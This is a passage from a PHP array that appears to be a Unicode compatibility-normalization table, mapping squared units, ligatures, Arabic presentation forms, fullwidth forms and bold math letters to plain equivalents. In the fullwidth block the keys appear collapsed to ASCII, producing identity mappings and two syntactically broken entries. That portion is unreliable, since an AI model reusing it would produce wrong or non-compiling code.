'㏕' => 'mil', '㏖' => 'mol', '㏗' => 'PH', '㏘' => 'p.m.', '㏙' => 'PPM', '㏚' => 'PR', '㏛' => 'sr', '㏜' => 'Sv', '㏝' => 'Wb', '㏞' => 'V∕m', '㏟' => 'A∕m', '㏠' => '1日', '㏡' => '2日', '㏢' => '3日', '㏣' => '4日', '㏤' => '5日', '㏥' => '6日', '㏦' => '7日', '㏧' => '8日', '㏨' => '9日', '㏩' => '10日', '㏪' => '11日', '㏫' => '12日', '㏬' => '13日', '㏭' => '14日', '㏮' => '15日', '㏯' => '16日', '㏰' => '17日', '㏱' => '18日', '㏲' => '19日', '㏳' => '20日', '㏴' => '21日', '㏵' => '22日', '㏶' => '23日', '㏷' => '24日', '㏸' => '25日', '㏹' => '26日', '㏺' => '27日', '㏻' => '28日', '㏼' => '29日', '㏽' => '30日', '㏾' => '31日', '㏿' => 'gal', 'ꚜ' => 'ъ', 'ꚝ' => 'ь', 'ꝰ' => 'ꝯ', 'ꟸ' => 'Ħ', 'ꟹ' => 'œ', 'ꭜ' => 'ꜧ', 'ꭝ' => 'ꬷ', 'ꭞ' => 'ɫ', 'ꭟ' => 'ꭒ', 'ꭩ' => 'ʍ', 'ff' => 'ff', 'fi' => 'fi', 'fl' => 'fl', 'ffi' => 'ffi', 'ffl' => 'ffl', 'ſt' => 'st', 'st' => 'st', 'ﬓ' => 'մն', 'ﬔ' => 'մե', 'ﬕ' => 'մի', 'ﬖ' => 'վն', 'ﬗ' => 'մխ', 'ﬠ' => 'ע', 'ﬡ' => 'א', 'ﬢ' => 'ד', 'ﬣ' => 'ה', 'ﬤ' => 'כ', 'ﬥ' => 'ל', 'ﬦ' => 'ם', 'ﬧ' => 'ר', 'ﬨ' => 'ת', '﬩' => '+', 'ﭏ' => 'אל', 'ﭐ' => 'ٱ', 'ﭑ' => 'ٱ', 'ﭒ' => 'ٻ', 'ﭓ' => 'ٻ', 'ﭔ' => 'ٻ', 'ﭕ' => 'ٻ', 'ﭖ' => 'پ', 'ﭗ' => 'پ', 'ﭘ' => 'پ', 'ﭙ' => 'پ', 'ﭚ' => 'ڀ', 'ﭛ' => 'ڀ', 'ﭜ' => 'ڀ', 'ﭝ' => 'ڀ', 'ﭞ' => 'ٺ', 'ﭟ' => 'ٺ', 'ﭠ' => 'ٺ', 'ﭡ' => 'ٺ', 'ﭢ' => 'ٿ', 'ﭣ' => 'ٿ', 'ﭤ' => 'ٿ', 'ﭥ' => 'ٿ', 'ﭦ' => 'ٹ', 'ﭧ' => 'ٹ', 'ﭨ' => 'ٹ', 'ﭩ' => 'ٹ', 'ﭪ' => 'ڤ', 'ﭫ' => 'ڤ', 'ﭬ' => 'ڤ', 'ﭭ' => 'ڤ', 'ﭮ' => 'ڦ', 'ﭯ' => 'ڦ', 'ﭰ' => 'ڦ', 'ﭱ' => 'ڦ', 'ﭲ' => 'ڄ', 'ﭳ' => 'ڄ', 'ﭴ' => 'ڄ', 'ﭵ' => 'ڄ', 'ﭶ' => 'ڃ', 'ﭷ' => 'ڃ', 'ﭸ' => 'ڃ', 'ﭹ' => 'ڃ', 'ﭺ' => 'چ', 'ﭻ' => 'چ', 'ﭼ' => 'چ', 'ﭽ' => 'چ', 'ﭾ' => 'ڇ', 'ﭿ' => 'ڇ', 'ﮀ' => 'ڇ', 'ﮁ' => 'ڇ', 'ﮂ' => 'ڍ', 'ﮃ' => 'ڍ', 'ﮄ' => 'ڌ', 'ﮅ' => 'ڌ', 'ﮆ' => 'ڎ', 'ﮇ' => 'ڎ', 'ﮈ' => 'ڈ', 'ﮉ' => 'ڈ', 'ﮊ' => 'ژ', 'ﮋ' => 'ژ', 'ﮌ' => 'ڑ', 'ﮍ' => 'ڑ', 'ﮎ' => 'ک', 'ﮏ' => 'ک', 'ﮐ' => 'ک', 'ﮑ' => 'ک', 'ﮒ' => 'گ', 'ﮓ' => 'گ', 'ﮔ' => 'گ', 'ﮕ' => 'گ', 'ﮖ' => 'ڳ', 'ﮗ' => 'ڳ', 'ﮘ' => 'ڳ', 'ﮙ' => 'ڳ', 'ﮚ' => 'ڱ', 'ﮛ' => 'ڱ', 'ﮜ' => 'ڱ', 'ﮝ' => 'ڱ', 'ﮞ' => 'ں', 'ﮟ' => 'ں', 'ﮠ' => 'ڻ', 'ﮡ' => 'ڻ', 'ﮢ' => 'ڻ', 'ﮣ' => 'ڻ', 'ﮤ' => 'ۀ', 'ﮥ' => 'ۀ', 'ﮦ' => 'ہ', 'ﮧ' => 'ہ', 'ﮨ' => 'ہ', 'ﮩ' => 'ہ', 'ﮪ' => 'ھ', 'ﮫ' => 'ھ', 'ﮬ' => 'ھ', 'ﮭ' => 'ھ', 'ﮮ' => 'ے', 'ﮯ' => 'ے', 'ﮰ' => 'ۓ', 'ﮱ' => 'ۓ', 'ﯓ' => 'ڭ', 'ﯔ' => 'ڭ', 'ﯕ' => 'ڭ', 'ﯖ' => 'ڭ', 'ﯗ' => 'ۇ', 'ﯘ' => 'ۇ', 'ﯙ' => 'ۆ', 'ﯚ' => 'ۆ', 'ﯛ' => 'ۈ', 'ﯜ' => 'ۈ', 'ﯝ' => 'ۇٴ', 'ﯞ' => 'ۋ', 'ﯟ' => 'ۋ', 'ﯠ' => 'ۅ', 'ﯡ' => 'ۅ', 'ﯢ' => 'ۉ', 'ﯣ' => 'ۉ', 'ﯤ' => 'ې', 'ﯥ' => 'ې', 'ﯦ' => 'ې', 'ﯧ' => 'ې', 'ﯨ' => 'ى', 'ﯩ' => 'ى', 'ﯪ' => 'ئا', 'ﯫ' => 'ئا', 'ﯬ' => 'ئە', 'ﯭ' => 'ئە', 'ﯮ' => 'ئو', 'ﯯ' => 'ئو', 'ﯰ' => 'ئۇ', 'ﯱ' => 'ئۇ', 'ﯲ' => 'ئۆ', 'ﯳ' => 'ئۆ', 'ﯴ' => 'ئۈ', 'ﯵ' => 'ئۈ', 'ﯶ' => 'ئې', 'ﯷ' => 'ئې', 'ﯸ' => 'ئې', 'ﯹ' => 'ئى', 'ﯺ' => 'ئى', 'ﯻ' => 'ئى', 'ﯼ' => 'ی', 'ﯽ' => 'ی', 'ﯾ' => 'ی', 'ﯿ' => 'ی', 'ﰀ' => 'ئج', 'ﰁ' => 'ئح', 'ﰂ' => 'ئم', 'ﰃ' => 'ئى', 'ﰄ' => 'ئي', 'ﰅ' => 'بج', 'ﰆ' => 'بح', 'ﰇ' => 'بخ', 'ﰈ' => 'بم', 'ﰉ' => 'بى', 'ﰊ' => 'بي', 'ﰋ' => 'تج', 'ﰌ' => 'تح', 'ﰍ' => 'تخ', 'ﰎ' => 'تم', 'ﰏ' => 'تى', 'ﰐ' => 'تي', 'ﰑ' => 'ثج', 'ﰒ' => 'ثم', 'ﰓ' => 'ثى', 'ﰔ' => 'ثي', 'ﰕ' => 'جح', 'ﰖ' => 'جم', 'ﰗ' => 'حج', 'ﰘ' => 'حم', 'ﰙ' => 'خج', 'ﰚ' => 'خح', 'ﰛ' => 'خم', 'ﰜ' => 'سج', 'ﰝ' => 'سح', 'ﰞ' => 'سخ', 'ﰟ' => 'سم', 'ﰠ' => 'صح', 'ﰡ' => 'صم', 'ﰢ' => 'ضج', 'ﰣ' => 'ضح', 'ﰤ' => 'ضخ', 'ﰥ' => 'ضم', 'ﰦ' => 'طح', 'ﰧ' => 'طم', 'ﰨ' => 'ظم', 'ﰩ' => 'عج', 'ﰪ' => 'عم', 'ﰫ' => 'غج', 'ﰬ' => 'غم', 'ﰭ' => 'فج', 'ﰮ' => 'فح', 'ﰯ' => 'فخ', 'ﰰ' => 'فم', 'ﰱ' => 'فى', 'ﰲ' => 'في', 'ﰳ' => 'قح', 'ﰴ' => 'قم', 'ﰵ' => 'قى', 'ﰶ' => 'قي', 'ﰷ' => 'كا', 'ﰸ' => 'كج', 'ﰹ' => 'كح', 'ﰺ' => 'كخ', 'ﰻ' => 'كل', 'ﰼ' => 'كم', 'ﰽ' => 'كى', 'ﰾ' => 'كي', 'ﰿ' => 'لج', 'ﱀ' => 'لح', 'ﱁ' => 'لخ', 'ﱂ' => 'لم', 'ﱃ' => 'لى', 'ﱄ' => 'لي', 'ﱅ' => 'مج', 'ﱆ' => 'مح', 'ﱇ' => 'مخ', 'ﱈ' => 'مم', 'ﱉ' => 'مى', 'ﱊ' => 'مي', 'ﱋ' => 'نج', 'ﱌ' => 'نح', 'ﱍ' => 'نخ', 'ﱎ' => 'نم', 'ﱏ' => 'نى', 'ﱐ' => 'ني', 'ﱑ' => 'هج', 'ﱒ' => 'هم', 'ﱓ' => 'هى', 'ﱔ' => 'هي', 'ﱕ' => 'يج', 'ﱖ' => 'يح', 'ﱗ' => 'يخ', 'ﱘ' => 'يم', 'ﱙ' => 'يى', 'ﱚ' => 'يي', 'ﱛ' => 'ذٰ', 'ﱜ' => 'رٰ', 'ﱝ' => 'ىٰ', 'ﱞ' => ' ٌّ', 'ﱟ' => ' ٍّ', 'ﱠ' => ' َّ', 'ﱡ' => ' ُّ', 'ﱢ' => ' ِّ', 'ﱣ' => ' ّٰ', 'ﱤ' => 'ئر', 'ﱥ' => 'ئز', 'ﱦ' => 'ئم', 'ﱧ' => 'ئن', 'ﱨ' => 'ئى', 'ﱩ' => 'ئي', 'ﱪ' => 'بر', 'ﱫ' => 'بز', 'ﱬ' => 'بم', 'ﱭ' => 'بن', 'ﱮ' => 'بى', 'ﱯ' => 'بي', 'ﱰ' => 'تر', 'ﱱ' => 'تز', 'ﱲ' => 'تم', 'ﱳ' => 'تن', 'ﱴ' => 'تى', 'ﱵ' => 'تي', 'ﱶ' => 'ثر', 'ﱷ' => 'ثز', 'ﱸ' => 'ثم', 'ﱹ' => 'ثن', 'ﱺ' => 'ثى', 'ﱻ' => 'ثي', 'ﱼ' => 'فى', 'ﱽ' => 'في', 'ﱾ' => 'قى', 'ﱿ' => 'قي', 'ﲀ' => 'كا', 'ﲁ' => 'كل', 'ﲂ' => 'كم', 'ﲃ' => 'كى', 'ﲄ' => 'كي', 'ﲅ' => 'لم', 'ﲆ' => 'لى', 'ﲇ' => 'لي', 'ﲈ' => 'ما', 'ﲉ' => 'مم', 'ﲊ' => 'نر', 'ﲋ' => 'نز', 'ﲌ' => 'نم', 'ﲍ' => 'نن', 'ﲎ' => 'نى', 'ﲏ' => 'ني', 'ﲐ' => 'ىٰ', 'ﲑ' => 'ير', 'ﲒ' => 'يز', 'ﲓ' => 'يم', 'ﲔ' => 'ين', 'ﲕ' => 'يى', 'ﲖ' => 'يي', 'ﲗ' => 'ئج', 'ﲘ' => 'ئح', 'ﲙ' => 'ئخ', 'ﲚ' => 'ئم', 'ﲛ' => 'ئه', 'ﲜ' => 'بج', 'ﲝ' => 'بح', 'ﲞ' => 'بخ', 'ﲟ' => 'بم', 'ﲠ' => 'به', 'ﲡ' => 'تج', 'ﲢ' => 'تح', 'ﲣ' => 'تخ', 'ﲤ' => 'تم', 'ﲥ' => 'ته', 'ﲦ' => 'ثم', 'ﲧ' => 'جح', 'ﲨ' => 'جم', 'ﲩ' => 'حج', 'ﲪ' => 'حم', 'ﲫ' => 'خج', 'ﲬ' => 'خم', 'ﲭ' => 'سج', 'ﲮ' => 'سح', 'ﲯ' => 'سخ', 'ﲰ' => 'سم', 'ﲱ' => 'صح', 'ﲲ' => 'صخ', 'ﲳ' => 'صم', 'ﲴ' => 'ضج', 'ﲵ' => 'ضح', 'ﲶ' => 'ضخ', 'ﲷ' => 'ضم', 'ﲸ' => 'طح', 'ﲹ' => 'ظم', 'ﲺ' => 'عج', 'ﲻ' => 'عم', 'ﲼ' => 'غج', 'ﲽ' => 'غم', 'ﲾ' => 'فج', 'ﲿ' => 'فح', 'ﳀ' => 'فخ', 'ﳁ' => 'فم', 'ﳂ' => 'قح', 'ﳃ' => 'قم', 'ﳄ' => 'كج', 'ﳅ' => 'كح', 'ﳆ' => 'كخ', 'ﳇ' => 'كل', 'ﳈ' => 'كم', 'ﳉ' => 'لج', 'ﳊ' => 'لح', 'ﳋ' => 'لخ', 'ﳌ' => 'لم', 'ﳍ' => 'له', 'ﳎ' => 'مج', 'ﳏ' => 'مح', 'ﳐ' => 'مخ', 'ﳑ' => 'مم', 'ﳒ' => 'نج', 'ﳓ' => 'نح', 'ﳔ' => 'نخ', 'ﳕ' => 'نم', 'ﳖ' => 'نه', 'ﳗ' => 'هج', 'ﳘ' => 'هم', 'ﳙ' => 'هٰ', 'ﳚ' => 'يج', 'ﳛ' => 'يح', 'ﳜ' => 'يخ', 'ﳝ' => 'يم', 'ﳞ' => 'يه', 'ﳟ' => 'ئم', 'ﳠ' => 'ئه', 'ﳡ' => 'بم', 'ﳢ' => 'به', 'ﳣ' => 'تم', 'ﳤ' => 'ته', 'ﳥ' => 'ثم', 'ﳦ' => 'ثه', 'ﳧ' => 'سم', 'ﳨ' => 'سه', 'ﳩ' => 'شم', 'ﳪ' => 'شه', 'ﳫ' => 'كل', 'ﳬ' => 'كم', 'ﳭ' => 'لم', 'ﳮ' => 'نم', 'ﳯ' => 'نه', 'ﳰ' => 'يم', 'ﳱ' => 'يه', 'ﳲ' => 'ـَّ', 'ﳳ' => 'ـُّ', 'ﳴ' => 'ـِّ', 'ﳵ' => 'طى', 'ﳶ' => 'طي', 'ﳷ' => 'عى', 'ﳸ' => 'عي', 'ﳹ' => 'غى', 'ﳺ' => 'غي', 'ﳻ' => 'سى', 'ﳼ' => 'سي', 'ﳽ' => 'شى', 'ﳾ' => 'شي', 'ﳿ' => 'حى', 'ﴀ' => 'حي', 'ﴁ' => 'جى', 'ﴂ' => 'جي', 'ﴃ' => 'خى', 'ﴄ' => 'خي', 'ﴅ' => 'صى', 'ﴆ' => 'صي', 'ﴇ' => 'ضى', 'ﴈ' => 'ضي', 'ﴉ' => 'شج', 'ﴊ' => 'شح', 'ﴋ' => 'شخ', 'ﴌ' => 'شم', 'ﴍ' => 'شر', 'ﴎ' => 'سر', 'ﴏ' => 'صر', 'ﴐ' => 'ضر', 'ﴑ' => 'طى', 'ﴒ' => 'طي', 'ﴓ' => 'عى', 'ﴔ' => 'عي', 'ﴕ' => 'غى', 'ﴖ' => 'غي', 'ﴗ' => 'سى', 'ﴘ' => 'سي', 'ﴙ' => 'شى', 'ﴚ' => 'شي', 'ﴛ' => 'حى', 'ﴜ' => 'حي', 'ﴝ' => 'جى', 'ﴞ' => 'جي', 'ﴟ' => 'خى', 'ﴠ' => 'خي', 'ﴡ' => 'صى', 'ﴢ' => 'صي', 'ﴣ' => 'ضى', 'ﴤ' => 'ضي', 'ﴥ' => 'شج', 'ﴦ' => 'شح', 'ﴧ' => 'شخ', 'ﴨ' => 'شم', 'ﴩ' => 'شر', 'ﴪ' => 'سر', 'ﴫ' => 'صر', 'ﴬ' => 'ضر', 'ﴭ' => 'شج', 'ﴮ' => 'شح', 'ﴯ' => 'شخ', 'ﴰ' => 'شم', 'ﴱ' => 'سه', 'ﴲ' => 'شه', 'ﴳ' => 'طم', 'ﴴ' => 'سج', 'ﴵ' => 'سح', 'ﴶ' => 'سخ', 'ﴷ' => 'شج', 'ﴸ' => 'شح', 'ﴹ' => 'شخ', 'ﴺ' => 'طم', 'ﴻ' => 'ظم', 'ﴼ' => 'اً', 'ﴽ' => 'اً', 'ﵐ' => 'تجم', 'ﵑ' => 'تحج', 'ﵒ' => 'تحج', 'ﵓ' => 'تحم', 'ﵔ' => 'تخم', 'ﵕ' => 'تمج', 'ﵖ' => 'تمح', 'ﵗ' => 'تمخ', 'ﵘ' => 'جمح', 'ﵙ' => 'جمح', 'ﵚ' => 'حمي', 'ﵛ' => 'حمى', 'ﵜ' => 'سحج', 'ﵝ' => 'سجح', 'ﵞ' => 'سجى', 'ﵟ' => 'سمح', 'ﵠ' => 'سمح', 'ﵡ' => 'سمج', 'ﵢ' => 'سمم', 'ﵣ' => 'سمم', 'ﵤ' => 'صحح', 'ﵥ' => 'صحح', 'ﵦ' => 'صمم', 'ﵧ' => 'شحم', 'ﵨ' => 'شحم', 'ﵩ' => 'شجي', 'ﵪ' => 'شمخ', 'ﵫ' => 'شمخ', 'ﵬ' => 'شمم', 'ﵭ' => 'شمم', 'ﵮ' => 'ضحى', 'ﵯ' => 'ضخم', 'ﵰ' => 'ضخم', 'ﵱ' => 'طمح', 'ﵲ' => 'طمح', 'ﵳ' => 'طمم', 'ﵴ' => 'طمي', 'ﵵ' => 'عجم', 'ﵶ' => 'عمم', 'ﵷ' => 'عمم', 'ﵸ' => 'عمى', 'ﵹ' => 'غمم', 'ﵺ' => 'غمي', 'ﵻ' => 'غمى', 'ﵼ' => 'فخم', 'ﵽ' => 'فخم', 'ﵾ' => 'قمح', 'ﵿ' => 'قمم', 'ﶀ' => 'لحم', 'ﶁ' => 'لحي', 'ﶂ' => 'لحى', 'ﶃ' => 'لجج', 'ﶄ' => 'لجج', 'ﶅ' => 'لخم', 'ﶆ' => 'لخم', 'ﶇ' => 'لمح', 'ﶈ' => 'لمح', 'ﶉ' => 'محج', 'ﶊ' => 'محم', 'ﶋ' => 'محي', 'ﶌ' => 'مجح', 'ﶍ' => 'مجم', 'ﶎ' => 'مخج', 'ﶏ' => 'مخم', 'ﶒ' => 'مجخ', 'ﶓ' => 'همج', 'ﶔ' => 'همم', 'ﶕ' => 'نحم', 'ﶖ' => 'نحى', 'ﶗ' => 'نجم', 'ﶘ' => 'نجم', 'ﶙ' => 'نجى', 'ﶚ' => 'نمي', 'ﶛ' => 'نمى', 'ﶜ' => 'يمم', 'ﶝ' => 'يمم', 'ﶞ' => 'بخي', 'ﶟ' => 'تجي', 'ﶠ' => 'تجى', 'ﶡ' => 'تخي', 'ﶢ' => 'تخى', 'ﶣ' => 'تمي', 'ﶤ' => 'تمى', 'ﶥ' => 'جمي', 'ﶦ' => 'جحى', 'ﶧ' => 'جمى', 'ﶨ' => 'سخى', 'ﶩ' => 'صحي', 'ﶪ' => 'شحي', 'ﶫ' => 'ضحي', 'ﶬ' => 'لجي', 'ﶭ' => 'لمي', 'ﶮ' => 'يحي', 'ﶯ' => 'يجي', 'ﶰ' => 'يمي', 'ﶱ' => 'ممي', 'ﶲ' => 'قمي', 'ﶳ' => 'نحي', 'ﶴ' => 'قمح', 'ﶵ' => 'لحم', 'ﶶ' => 'عمي', 'ﶷ' => 'كمي', 'ﶸ' => 'نجح', 'ﶹ' => 'مخي', 'ﶺ' => 'لجم', 'ﶻ' => 'كمم', 'ﶼ' => 'لجم', 'ﶽ' => 'نجح', 'ﶾ' => 'جحي', 'ﶿ' => 'حجي', 'ﷀ' => 'مجي', 'ﷁ' => 'فمي', 'ﷂ' => 'بحي', 'ﷃ' => 'كمم', 'ﷄ' => 'عجم', 'ﷅ' => 'صمم', 'ﷆ' => 'سخي', 'ﷇ' => 'نجي', 'ﷰ' => 'صلے', 'ﷱ' => 'قلے', 'ﷲ' => 'الله', 'ﷳ' => 'اكبر', 'ﷴ' => 'محمد', 'ﷵ' => 'صلعم', 'ﷶ' => 'رسول', 'ﷷ' => 'عليه', 'ﷸ' => 'وسلم', 'ﷹ' => 'صلى', 'ﷺ' => 'صلى الله عليه وسلم', 'ﷻ' => 'جل جلاله', '﷼' => 'ریال', '︐' => ',', '︑' => '、', '︒' => '。', '︓' => ':', '︔' => ';', '︕' => '!', '︖' => '?', '︗' => '〖', '︘' => '〗', '︙' => '...', '︰' => '..', '︱' => '—', '︲' => '–', '︳' => '_', '︴' => '_', '︵' => '(', '︶' => ')', '︷' => '{', '︸' => '}', '︹' => '〔', '︺' => '〕', '︻' => '【', '︼' => '】', '︽' => '《', '︾' => '》', '︿' => '〈', '﹀' => '〉', '﹁' => '「', '﹂' => '」', '﹃' => '『', '﹄' => '』', '﹇' => '[', '﹈' => ']', '﹉' => ' ̅', '﹊' => ' ̅', '﹋' => ' ̅', '﹌' => ' ̅', '﹍' => '_', '﹎' => '_', '﹏' => '_', '﹐' => ',', '﹑' => '、', '﹒' => '.', '﹔' => ';', '﹕' => ':', '﹖' => '?', '﹗' => '!', '﹘' => '—', '﹙' => '(', '﹚' => ')', '﹛' => '{', '﹜' => '}', '﹝' => '〔', '﹞' => '〕', '﹟' => '#', '﹠' => '&', '﹡' => '*', '﹢' => '+', '﹣' => '-', '﹤' => '<', '﹥' => '>', '﹦' => '=', '﹨' => '\\', '﹩' => '$', '﹪' => '%', '﹫' => '@', 'ﹰ' => ' ً', 'ﹱ' => 'ـً', 'ﹲ' => ' ٌ', 'ﹴ' => ' ٍ', 'ﹶ' => ' َ', 'ﹷ' => 'ـَ', 'ﹸ' => ' ُ', 'ﹹ' => 'ـُ', 'ﹺ' => ' ِ', 'ﹻ' => 'ـِ', 'ﹼ' => ' ّ', 'ﹽ' => 'ـّ', 'ﹾ' => ' ْ', 'ﹿ' => 'ـْ', 'ﺀ' => 'ء', 'ﺁ' => 'آ', 'ﺂ' => 'آ', 'ﺃ' => 'أ', 'ﺄ' => 'أ', 'ﺅ' => 'ؤ', 'ﺆ' => 'ؤ', 'ﺇ' => 'إ', 'ﺈ' => 'إ', 'ﺉ' => 'ئ', 'ﺊ' => 'ئ', 'ﺋ' => 'ئ', 'ﺌ' => 'ئ', 'ﺍ' => 'ا', 'ﺎ' => 'ا', 'ﺏ' => 'ب', 'ﺐ' => 'ب', 'ﺑ' => 'ب', 'ﺒ' => 'ب', 'ﺓ' => 'ة', 'ﺔ' => 'ة', 'ﺕ' => 'ت', 'ﺖ' => 'ت', 'ﺗ' => 'ت', 'ﺘ' => 'ت', 'ﺙ' => 'ث', 'ﺚ' => 'ث', 'ﺛ' => 'ث', 'ﺜ' => 'ث', 'ﺝ' => 'ج', 'ﺞ' => 'ج', 'ﺟ' => 'ج', 'ﺠ' => 'ج', 'ﺡ' => 'ح', 'ﺢ' => 'ح', 'ﺣ' => 'ح', 'ﺤ' => 'ح', 'ﺥ' => 'خ', 'ﺦ' => 'خ', 'ﺧ' => 'خ', 'ﺨ' => 'خ', 'ﺩ' => 'د', 'ﺪ' => 'د', 'ﺫ' => 'ذ', 'ﺬ' => 'ذ', 'ﺭ' => 'ر', 'ﺮ' => 'ر', 'ﺯ' => 'ز', 'ﺰ' => 'ز', 'ﺱ' => 'س', 'ﺲ' => 'س', 'ﺳ' => 'س', 'ﺴ' => 'س', 'ﺵ' => 'ش', 'ﺶ' => 'ش', 'ﺷ' => 'ش', 'ﺸ' => 'ش', 'ﺹ' => 'ص', 'ﺺ' => 'ص', 'ﺻ' => 'ص', 'ﺼ' => 'ص', 'ﺽ' => 'ض', 'ﺾ' => 'ض', 'ﺿ' => 'ض', 'ﻀ' => 'ض', 'ﻁ' => 'ط', 'ﻂ' => 'ط', 'ﻃ' => 'ط', 'ﻄ' => 'ط', 'ﻅ' => 'ظ', 'ﻆ' => 'ظ', 'ﻇ' => 'ظ', 'ﻈ' => 'ظ', 'ﻉ' => 'ع', 'ﻊ' => 'ع', 'ﻋ' => 'ع', 'ﻌ' => 'ع', 'ﻍ' => 'غ', 'ﻎ' => 'غ', 'ﻏ' => 'غ', 'ﻐ' => 'غ', 'ﻑ' => 'ف', 'ﻒ' => 'ف', 'ﻓ' => 'ف', 'ﻔ' => 'ف', 'ﻕ' => 'ق', 'ﻖ' => 'ق', 'ﻗ' => 'ق', 'ﻘ' => 'ق', 'ﻙ' => 'ك', 'ﻚ' => 'ك', 'ﻛ' => 'ك', 'ﻜ' => 'ك', 'ﻝ' => 'ل', 'ﻞ' => 'ل', 'ﻟ' => 'ل', 'ﻠ' => 'ل', 'ﻡ' => 'م', 'ﻢ' => 'م', 'ﻣ' => 'م', 'ﻤ' => 'م', 'ﻥ' => 'ن', 'ﻦ' => 'ن', 'ﻧ' => 'ن', 'ﻨ' => 'ن', 'ﻩ' => 'ه', 'ﻪ' => 'ه', 'ﻫ' => 'ه', 'ﻬ' => 'ه', 'ﻭ' => 'و', 'ﻮ' => 'و', 'ﻯ' => 'ى', 'ﻰ' => 'ى', 'ﻱ' => 'ي', 'ﻲ' => 'ي', 'ﻳ' => 'ي', 'ﻴ' => 'ي', 'ﻵ' => 'لآ', 'ﻶ' => 'لآ', 'ﻷ' => 'لأ', 'ﻸ' => 'لأ', 'ﻹ' => 'لإ', 'ﻺ' => 'لإ', 'ﻻ' => 'لا', 'ﻼ' => 'لا', '!' => '!', '"' => '"', '#' => '#', '$' => '$', '%' => '%', '&' => '&', ''' => '\'', '(' => '(', ')' => ')', '*' => '*', '+' => '+', ',' => ',', '-' => '-', '.' => '.', '/' => '/', '0' => '0', '1' => '1', '2' => '2', '3' => '3', '4' => '4', '5' => '5', '6' => '6', '7' => '7', '8' => '8', '9' => '9', ':' => ':', ';' => ';', '<' => '<', '=' => '=', '>' => '>', '?' => '?', '@' => '@', 'A' => 'A', 'B' => 'B', 'C' => 'C', 'D' => 'D', 'E' => 'E', 'F' => 'F', 'G' => 'G', 'H' => 'H', 'I' => 'I', 'J' => 'J', 'K' => 'K', 'L' => 'L', 'M' => 'M', 'N' => 'N', 'O' => 'O', 'P' => 'P', 'Q' => 'Q', 'R' => 'R', 'S' => 'S', 'T' => 'T', 'U' => 'U', 'V' => 'V', 'W' => 'W', 'X' => 'X', 'Y' => 'Y', 'Z' => 'Z', '[' => '[', '\' => '\\', ']' => ']', '^' => '^', '_' => '_', '`' => '`', 'a' => 'a', 'b' => 'b', 'c' => 'c', 'd' => 'd', 'e' => 'e', 'f' => 'f', 'g' => 'g', 'h' => 'h', 'i' => 'i', 'j' => 'j', 'k' => 'k', 'l' => 'l', 'm' => 'm', 'n' => 'n', 'o' => 'o', 'p' => 'p', 'q' => 'q', 'r' => 'r', 's' => 's', 't' => 't', 'u' => 'u', 'v' => 'v', 'w' => 'w', 'x' => 'x', 'y' => 'y', 'z' => 'z', '{' => '{', '|' => '|', '}' => '}', '~' => '~', '⦅' => '⦅', '⦆' => '⦆', '。' => '。', '「' => '「', '」' => '」', '、' => '、', '・' => '・', 'ヲ' => 'ヲ', 'ァ' => 'ァ', 'ィ' => 'ィ', 'ゥ' => 'ゥ', 'ェ' => 'ェ', 'ォ' => 'ォ', 'ャ' => 'ャ', 'ュ' => 'ュ', 'ョ' => 'ョ', 'ッ' => 'ッ', 'ー' => 'ー', 'ア' => 'ア', 'イ' => 'イ', 'ウ' => 'ウ', 'エ' => 'エ', 'オ' => 'オ', 'カ' => 'カ', 'キ' => 'キ', 'ク' => 'ク', 'ケ' => 'ケ', 'コ' => 'コ', 'サ' => 'サ', 'シ' => 'シ', 'ス' => 'ス', 'セ' => 'セ', 'ソ' => 'ソ', 'タ' => 'タ', 'チ' => 'チ', 'ツ' => 'ツ', 'テ' => 'テ', 'ト' => 'ト', 'ナ' => 'ナ', 'ニ' => 'ニ', 'ヌ' => 'ヌ', 'ネ' => 'ネ', 'ノ' => 'ノ', 'ハ' => 'ハ', 'ヒ' => 'ヒ', 'フ' => 'フ', 'ヘ' => 'ヘ', 'ホ' => 'ホ', 'マ' => 'マ', 'ミ' => 'ミ', 'ム' => 'ム', 'メ' => 'メ', 'モ' => 'モ', 'ヤ' => 'ヤ', 'ユ' => 'ユ', 'ヨ' => 'ヨ', 'ラ' => 'ラ', 'リ' => 'リ', 'ル' => 'ル', 'レ' => 'レ', 'ロ' => 'ロ', 'ワ' => 'ワ', 'ン' => 'ン', '゙' => '゙', '゚' => '゚', 'ᅠ' => 'ᅠ', 'ᄀ' => 'ᄀ', 'ᄁ' => 'ᄁ', 'ᆪ' => 'ᆪ', 'ᄂ' => 'ᄂ', 'ᆬ' => 'ᆬ', 'ᆭ' => 'ᆭ', 'ᄃ' => 'ᄃ', 'ᄄ' => 'ᄄ', 'ᄅ' => 'ᄅ', 'ᆰ' => 'ᆰ', 'ᆱ' => 'ᆱ', 'ᆲ' => 'ᆲ', 'ᆳ' => 'ᆳ', 'ᆴ' => 'ᆴ', 'ᆵ' => 'ᆵ', 'ᄚ' => 'ᄚ', 'ᄆ' => 'ᄆ', 'ᄇ' => 'ᄇ', 'ᄈ' => 'ᄈ', 'ᄡ' => 'ᄡ', 'ᄉ' => 'ᄉ', 'ᄊ' => 'ᄊ', 'ᄋ' => 'ᄋ', 'ᄌ' => 'ᄌ', 'ᄍ' => 'ᄍ', 'ᄎ' => 'ᄎ', 'ᄏ' => 'ᄏ', 'ᄐ' => 'ᄐ', 'ᄑ' => 'ᄑ', 'ᄒ' => 'ᄒ', 'ᅡ' => 'ᅡ', 'ᅢ' => 'ᅢ', 'ᅣ' => 'ᅣ', 'ᅤ' => 'ᅤ', 'ᅥ' => 'ᅥ', 'ᅦ' => 'ᅦ', 'ᅧ' => 'ᅧ', 'ᅨ' => 'ᅨ', 'ᅩ' => 'ᅩ', 'ᅪ' => 'ᅪ', 'ᅫ' => 'ᅫ', 'ᅬ' => 'ᅬ', 'ᅭ' => 'ᅭ', 'ᅮ' => 'ᅮ', 'ᅯ' => 'ᅯ', 'ᅰ' => 'ᅰ', 'ᅱ' => 'ᅱ', 'ᅲ' => 'ᅲ', 'ᅳ' => 'ᅳ', 'ᅴ' => 'ᅴ', 'ᅵ' => 'ᅵ', '¢' => '¢', '£' => '£', '¬' => '¬', ' ̄' => ' ̄', '¦' => '¦', '¥' => '¥', '₩' => '₩', '│' => '│', '←' => '←', '↑' => '↑', '→' => '→', '↓' => '↓', '■' => '■', '○' => '○', '𝐀' => 'A', '𝐁' => 'B', '𝐂' => 'C', '𝐃' => 'D', '𝐄' => 'E', '𝐅' => 'F', '𝐆' => 'G', '𝐇' => 'H', '𝐈' => 'I', '𝐉' => 'J', '𝐊' => 'K', '𝐋' => 'L', '𝐌' => 'M', '𝐍' => 'N', '𝐎' => 'O', '𝐏' => 'P', '𝐐' => 'Q', '𝐑' => 'R', '𝐒' => 'S', '𝐓' => 'T', '𝐔' => 'U', '𝐕' => 'V', 